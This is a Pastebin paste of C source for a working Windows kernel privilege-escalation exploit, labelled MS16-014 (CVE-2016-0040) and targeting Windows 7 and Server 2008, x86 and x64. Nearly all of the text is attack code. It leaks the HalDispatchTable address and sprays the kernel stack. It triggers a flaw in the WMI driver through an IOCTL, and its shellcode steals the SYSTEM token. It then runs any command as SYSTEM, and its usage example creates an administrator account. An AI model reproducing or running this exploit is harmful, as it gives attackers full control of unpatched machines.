Guest User

Untitled

a guest
Jun 4th, 2020
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.06 KB | None | 0 0
  1. /*
  2. # Exploit Title: Elevation of privilege on Windows 7 SP1 x86
  3. # Date: 28/06-2016
  4. # Exploit Author: @blomster81
  5. # Tested on: Windows 7 SP1 x86,windows 2008 x86
  6. # CVE : 2016-0400
  7. # Modify: @skyer(Add x64 support)
  8.  
  9. MS16-014 EoP PoC created from
  10. https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc
  11. Spawns CMD.exe with SYSTEM rights.
  12. Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point
  13. */
  14. #define PSAPI_VERSION 1
  15. #include <Windows.h>
  16. #include <stdio.h>
  17. #include <Psapi.h>
  18. #include <winioctl.h>
  19. #include <TlHelp32.h>
  20. #pragma comment(lib,"Ntdll.lib")
  21.  
  22.  
  23. typedef union {
  24. HANDLE Handle;
  25. ULONG64 Handle64;
  26. ULONG32 Handle32;
  27. }
  28. HANDLE3264, *PHANDLE3264;
  29.  
  30. typedef struct {
  31. ULONG HandleCount;
  32. ULONG Action;
  33. HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;
  34. HANDLE3264 UserModeProcess;
  35. HANDLE3264 Handles[20];
  36. }
  37. WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;
  38.  
  39. #define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring
  40.  
  41. typedef struct {
  42. IN VOID * ObjectAttributes;
  43. IN ACCESS_MASK DesiredAccess;
  44.  
  45. OUT HANDLE3264 Handle;
  46. }
  47. WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;
  48.  
  49. typedef enum _KPROFILE_SOURCE {
  50. ProfileTime,
  51. ProfileAlignmentFixup,
  52. ProfileTotalIssues,
  53. ProfilePipelineDry,
  54. ProfileLoadInstructions,
  55. ProfilePipelineFrozen,
  56. ProfileBranchInstructions,
  57. ProfileTotalNonissues,
  58. ProfileDcacheMisses,
  59. ProfileIcacheMisses,
  60. ProfileCacheMisses,
  61. ProfileBranchMispredictions,
  62. ProfileStoreInstructions,
  63. ProfileFpInstructions,
  64. ProfileIntegerInstructions,
  65. Profile2Issue,
  66. Profile3Issue,
  67. Profile4Issue,
  68. ProfileSpecialInstructions,
  69. ProfileTotalCycles,
  70. ProfileIcacheIssues,
  71. ProfileDcacheAccesses,
  72. ProfileMemoryBarrierCycles,
  73. ProfileLoadLinkedIssues,
  74. ProfileMaximum
  75.  
  76. } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
  77.  
  78. typedef struct _DESKTOPINFO
  79. {
  80. /* 000 */ PVOID pvDesktopBase;
  81. /* 008 */ PVOID pvDesktopLimit;
  82.  
  83. } DESKTOPINFO, *PDESKTOPINFO;
  84.  
  85.  
  86. typedef struct _CLIENTINFO
  87. {
  88. /* 000 */ DWORD CI_flags;
  89. /* 004 */ DWORD cSpins;
  90. /* 008 */ DWORD dwExpWinVer;
  91. /* 00c */ DWORD dwCompatFlags;
  92. /* 010 */ DWORD dwCompatFlags2;
  93. /* 014 */ DWORD dwTIFlags;
  94. /* 018 */ DWORD filler1;
  95. /* 01c */ DWORD filler2;
  96. /* 020 */ PDESKTOPINFO pDeskInfo;
  97. /* 028 */ ULONG_PTR ulClientDelta;
  98.  
  99. } CLIENTINFO, *PCLIENTINFO;
  100.  
  101. typedef struct _HANDLEENTRY {
  102. PVOID phead;
  103. ULONG_PTR pOwner;
  104. BYTE bType;
  105. BYTE bFlags;
  106. WORD wUniq;
  107. }HANDLEENTRY, *PHANDLEENTRY;
  108.  
  109. typedef struct _SERVERINFO {
  110. DWORD dwSRVIFlags;
  111. DWORD64 cHandleEntries;
  112. WORD wSRVIFlags;
  113. WORD wRIPPID;
  114. WORD wRIPError;
  115. }SERVERINFO, *PSERVERINFO;
  116.  
  117. typedef struct _SHAREDINFO {
  118. PSERVERINFO psi;
  119. PHANDLEENTRY aheList;
  120. ULONG HeEntrySize;
  121. ULONG_PTR pDispInfo;
  122. ULONG_PTR ulSharedDelta;
  123. ULONG_PTR awmControl;
  124. ULONG_PTR DefWindowMsgs;
  125. ULONG_PTR DefWindowSpecMsgs;
  126. }SHAREDINFO, *PSHAREDINFO;
  127. #define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)
  128.  
  129. // extern "C"
  130. // NTSTATUS NTAPI RtlGetVersion(
  131. // _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation
  132. // );
  133. typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
  134. typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);
  135. typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);
  136. //typedef NTSTATUS(NTAPI *_PsLookupProcessByProcessId)(HANDLE ProcessId, PVOID *Process);
  137. //NTSYSAPI NTSTATUS WINAPI RtlGetVersion(_Inout_ PRTL_OSVERSIONINFOW lpVersionInformation);
  138. #ifdef _WIN64
  139. typedef unsigned __int64 QWORD, *PQWORD;
  140. typedef QWORD DT;
  141. #else
  142. typedef DWORD DT;
  143. #endif
  144. DT g_HalDispatchTable = 0;
  145. extern "C" DT g_EPROCESS_TokenOffset = 0, g_EPROCESS = 0, g_flink = 0, g_kthread = 0, g_PID = 0;
  146. void* kHandle;
  147. HWND g_window = NULL;
  148. const WCHAR g_windowClassName[] = L"skyer";
  149. WNDCLASSEX wc;
  150. PSHAREDINFO g_pSharedInfo;
  151. PSERVERINFO g_pServerInfo;
  152. HANDLEENTRY* g_UserHandleTable;
  153.  
  154. LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
  155. {
  156. return DefWindowProc(hwnd, uMsg, wParam, lParam);
  157. }
  158. void flushandexit()
  159. {
  160. fflush(stdout);
  161. fflush(stderr);
  162. ExitProcess(0);
  163. }
  164.  
  165.  
  166. BOOL leakHal()
  167. {
  168. DT ntoskrnlBase;
  169. DT HalDTUser, HalDTOffset;
  170. HMODULE userKernel;
  171. DT FuncAddress = 0L;
  172.  
  173. LPVOID drivers[1024];
  174. DWORD cbNeeded;
  175.  
  176. if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
  177. {
  178. if (drivers[0])
  179. {
  180. ntoskrnlBase = (DT)drivers[0];
  181. }
  182. }
  183. else
  184. {
  185. printf("EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
  186. }
  187. // ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;
  188. userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
  189. if (userKernel == NULL)
  190. {
  191. puts("Could not load ntoskrnl.exe");
  192. return FALSE;
  193. }
  194.  
  195. HalDTUser = (DT)GetProcAddress(userKernel, "HalDispatchTable");
  196. HalDTOffset = HalDTUser - (DT)userKernel;
  197. g_HalDispatchTable = ntoskrnlBase + HalDTOffset /*+ 0x9000*/;
  198. return TRUE;
  199. }
  200.  
  201. BOOL setup()
  202. {
  203. wc.cbSize = sizeof(WNDCLASSEX);
  204. wc.style = 0;
  205. wc.lpfnWndProc = WProc;
  206. wc.cbClsExtra = 0;
  207. wc.cbWndExtra = 0;
  208. wc.hInstance = NULL;
  209. wc.hCursor = NULL;
  210. wc.hIcon = NULL;
  211. wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
  212. wc.lpszMenuName = NULL;
  213. wc.lpszClassName = g_windowClassName;
  214. wc.hIconSm = NULL;
  215.  
  216. if (!RegisterClassEx(&wc))
  217. {
  218. printf("Failed to register window: %d\n", GetLastError());
  219. return FALSE;
  220. }
  221.  
  222. g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"skyer", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);
  223. if (g_window == NULL)
  224. {
  225. printf("Failed to create window: %d\n", GetLastError());
  226. return FALSE;
  227. }
  228.  
  229. return TRUE;
  230. }
  231.  
  232. VOID SprayKernelStack() {
  233. g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");
  234. if (ZwMapUserPhysicalPages == NULL)
  235. {
  236. puts("Could not get ZwMapUserPhysicalPages");
  237. flushandexit();
  238. }
  239.  
  240. #ifdef _WIN64
  241. int offset = 0x60-8;
  242. BYTE buffer[8192];
  243. #else
  244. int offset = 0x3c-4;
  245. BYTE buffer[4096];
  246. #endif
  247. DT value = g_HalDispatchTable - offset;
  248. for (int i = 0; i < sizeof(buffer) / sizeof(DT); i++)
  249. {
  250. memcpy(buffer + i * sizeof(DT), &value, sizeof(DT));
  251. }
  252. printf("Where is at: 0x%x\n", buffer);
  253. puts("Spraying stack...");
  254. fflush(stdout);
  255. ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DT), (PULONG)buffer);
  256. }
  257. #ifdef _WIN64
  258. extern "C" void shellcode(void);
  259. #else
  260. __declspec(noinline) int shellcode()
  261. {
  262. __asm {
  263. pushad;// save registers state
  264. mov edx, g_kthread;
  265. mov eax, fs:[edx];// Get nt!_KPCR.PcrbData.CurrentThread
  266. mov edx, g_EPROCESS;
  267. mov eax, [eax + edx];// Get nt!_KTHREAD.ApcState.Process
  268. mov ecx, eax;// Copy current _EPROCESS structure
  269. mov esi, g_EPROCESS_TokenOffset;
  270. mov edx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4
  271. mov edi, g_flink;
  272. mov ebx, g_PID;
  273. SearchSystemPID:
  274. mov eax, [eax + edi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink
  275. sub eax, edi;
  276. cmp[eax + ebx], edx;// Get nt!_EPROCESS.UniqueProcessId
  277. jne SearchSystemPID
  278.  
  279. mov edx, [eax + esi];// Get SYSTEM process nt!_EPROCESS.Token
  280. mov[ecx + esi], edx;// Copy nt!_EPROCESS.Token of SYSTEM to current process
  281. popad;// restore registers state
  282.  
  283. // recovery
  284. xor eax, eax;// Set NTSTATUS SUCCEESS
  285.  
  286. }
  287. }
  288. #endif
  289.  
  290. int main() {
  291. int argc = 0;
  292. wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
  293. puts("MS16-014 exploit by skyer");
  294. if (argc!=2)
  295. {
  296. puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\"");
  297. flushandexit();
  298. }
  299. DWORD dwBytesReturned;
  300. WMIRECEIVENOTIFICATION buffer;
  301. CHAR OutPut[1000];
  302.  
  303. if (!setup())
  304. {
  305. puts("Could not setup window");
  306. flushandexit();
  307. }
  308.  
  309. OSVERSIONINFOW osver;
  310. RtlSecureZeroMemory(&osver, sizeof(osver));
  311. osver.dwOSVersionInfoSize = sizeof(osver);
  312. RtlGetVersionT pRtlGetVersion=(RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"),"RtlGetVersion");
  313. pRtlGetVersion(&osver);
  314. if (osver.dwMajorVersion == 5) {
  315. #ifdef _WIN64
  316. g_EPROCESS_TokenOffset = 0x160;
  317. g_EPROCESS = 0x68;
  318. g_flink = 0xe0;
  319. g_PID = 0xd8;
  320. g_kthread = 0x188;
  321. #else
  322. g_EPROCESS_TokenOffset = 0xd8;
  323. g_EPROCESS = 0x38;
  324. g_flink = 0x098;
  325. g_PID = 0x94;
  326. g_kthread = 0x124;
  327. #endif
  328. }
  329. else if (osver.dwMajorVersion == 6) {
  330. #ifdef _WIN64
  331. if (osver.dwMinorVersion == 0)//win2008
  332. {
  333. g_EPROCESS_TokenOffset = 0x168;
  334. g_EPROCESS = 0x68;
  335. g_flink = 0xe0;
  336. g_PID = 0xe8;
  337. g_kthread = 0x188;
  338. }
  339. else
  340. {//win7
  341. g_EPROCESS_TokenOffset = 0x208;
  342. g_EPROCESS = 0x70;
  343. g_flink = 0x188;
  344. g_PID = 0x180;
  345. g_kthread = 0x188;
  346. }
  347.  
  348. #else
  349. if (osver.dwMinorVersion==0)//win2008
  350. {
  351. g_EPROCESS_TokenOffset = 0xe0;
  352. g_EPROCESS = 0x48;
  353. g_flink = 0xa0;
  354. g_PID = 0x9c;
  355. g_kthread = 0x124;
  356. }
  357. else
  358. {//win7
  359. g_EPROCESS_TokenOffset = 0xf8;
  360. g_EPROCESS = 0x50;
  361. g_flink = 0xb8;
  362. g_PID = 0xb4;
  363. g_kthread = 0x124;
  364. }
  365.  
  366. #endif
  367. }
  368. else
  369. {
  370. printf("this version of system was not supported\n", osver.dwBuildNumber);
  371. flushandexit();
  372. }
  373.  
  374. PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  375. // kHandle = (void*)leakWndAddr(g_window);
  376. memset(userSC, 0x90, 0x1000);
  377. memcpy(userSC, shellcode,/*(DWORD)shellcodeend-(DWORD)Shellcode*/0x4d);
  378.  
  379. if (!leakHal())
  380. {
  381. puts("Could not leak Hal");
  382. flushandexit();
  383. }
  384. printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);
  385. fflush(stdout);
  386. DT value = (DT)userSC;
  387. PBYTE buff = (PBYTE)&buffer;
  388. for (int i = 0; i < sizeof(buffer) / 4; i++)
  389. {
  390. memcpy(buff + i * sizeof(DT), &value, sizeof(DT));
  391. }
  392. printf("What is at: 0x%x\n", buff);
  393. fflush(stdout);
  394. buffer.HandleCount = 0;
  395. buffer.Action = RECEIVE_ACTION_CREATE_THREAD;
  396. buffer.UserModeProcess.Handle = GetCurrentProcess();
  397.  
  398. HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  399. if (hDriver != INVALID_HANDLE_VALUE) {
  400. SprayKernelStack();
  401.  
  402. if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {
  403. puts("Exploit fail");
  404. flushandexit();
  405. return 1;
  406. }
  407.  
  408. }
  409. _NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");
  410. ULONG result;
  411. KPROFILE_SOURCE stProfile = ProfileTotalIssues;
  412. NtQueryIntervalProfile(stProfile, &result);
  413. puts("===============================");
  414. SECURITY_ATTRIBUTES sa;
  415. HANDLE hRead, hWrite;
  416. byte buf[40960] = { 0 };
  417. STARTUPINFOW si;
  418. PROCESS_INFORMATION pi;
  419. DWORD bytesRead;
  420. RtlSecureZeroMemory(&si, sizeof(si));
  421. RtlSecureZeroMemory(&pi, sizeof(pi));
  422. RtlSecureZeroMemory(&sa, sizeof(sa));
  423. int br = 0;
  424. sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  425. sa.lpSecurityDescriptor = NULL;
  426. sa.bInheritHandle = TRUE;
  427. if (!CreatePipe(&hRead, &hWrite, &sa, 0))
  428. {
  429. flushandexit();
  430. }
  431. wprintf(L"Trying to execute %s as SYSTEM\n", argv[1]);
  432. si.cb = sizeof(STARTUPINFO);
  433. GetStartupInfoW(&si);
  434. si.hStdError = hWrite;
  435. si.hStdOutput = hWrite;
  436. si.wShowWindow = SW_HIDE;
  437. si.lpDesktop = L"WinSta0\\Default";
  438. si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  439. wchar_t cmd[4096] = { 0 };
  440. lstrcpyW(cmd, argv[1]);
  441. if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
  442. {
  443. CloseHandle(hWrite);
  444. CloseHandle(hRead);
  445. wprintf(L"CreateProcessW Failed![%p]\n",GetLastError());
  446. flushandexit();
  447. }
  448. CloseHandle(hWrite);
  449. printf("ProcessCreated with pid %d!\n", pi.dwProcessId);
  450. while (1)
  451. {
  452. if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
  453. break;
  454. br += bytesRead;
  455. }
  456. // HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE);
  457. // WriteConsoleA(h, buf, br, &bytesRead, 0);
  458. puts((char*)buf);
  459. fflush(stdout);
  460. fflush(stderr);
  461. CloseHandle(hRead);
  462. CloseHandle(pi.hProcess);
  463. return 0;
  464. }
Add Comment
Please, Sign In to add comment